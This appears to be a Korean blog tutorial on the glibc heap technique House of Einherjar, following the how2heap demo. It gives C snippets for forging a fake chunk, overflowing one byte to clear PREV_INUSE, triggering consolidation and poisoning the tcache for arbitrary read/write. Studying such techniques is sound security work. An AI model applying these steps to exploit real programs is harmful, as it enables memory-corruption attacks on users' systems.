[Exploit Tech Analysis][Heap] House of Einherjar

TMI: Einherjar(에인헤랴르)는 북유럽 신화에 나오는, 오딘이 라그나로크에 대항하기 위해 모은 전사를 지칭한다. 자세한 내용은 Wikipedia나무위키를 참고하자.

size 필드에 대해서 단 1비트만이라도 overflow가 가능할 때, AAR / AAW 프리미티브를 만들 수 있는 기법이다. 이를 위해 consolidation 과정을 이용한다. 공격 과정은 다음과 같다.

우선 큰 청크인 A를 하나 할당하고, 그 청크에 가짜 청크를 구성한다.

intptr_t *a = malloc(0x38);

a[0] = 0;	// prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck
A_allocated

다음으로 청크 A의 바로 뒤에 작은 청크를 하나 할당한다. 이 청크를 B라 한다. 연달아서 B의 뒷쪽에 큰 청크를 하나 더 할당한다. 이 청크를 C라 한다.

uint8_t *b = (uint8_t *) malloc(0x28);
uint8_t *c = (uint8_t *) malloc(0xf8);
B_C_allocated

B에서 OOB를 발생시켜 Cprev_size를 앞서 만든 가짜 청크에 맞게 맞추고, size의 마지막 한 비트를 0으로 덮어 PREV_INUSE가 꺼지도록 한다.

b[real_b_size] = 0;
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
a[1] = fake_size;
poisoned_size

이제 C를 해제하면 C가 consolidation되며 B를 포함한 전체 청크가 unsorted bin으로 들어가게 된다.

C_free

마지막으로 B를 해제하고, unsorted bin에 들어간 큰 청크를 다시 할당해 B의 fd가 존재하는 부분에 쓰면 tcache poisoning이 가능해진다.

intptr_t *d = malloc(0x158);
free(b);
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

Reference

  1. https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_einherjar.c

Leave a comment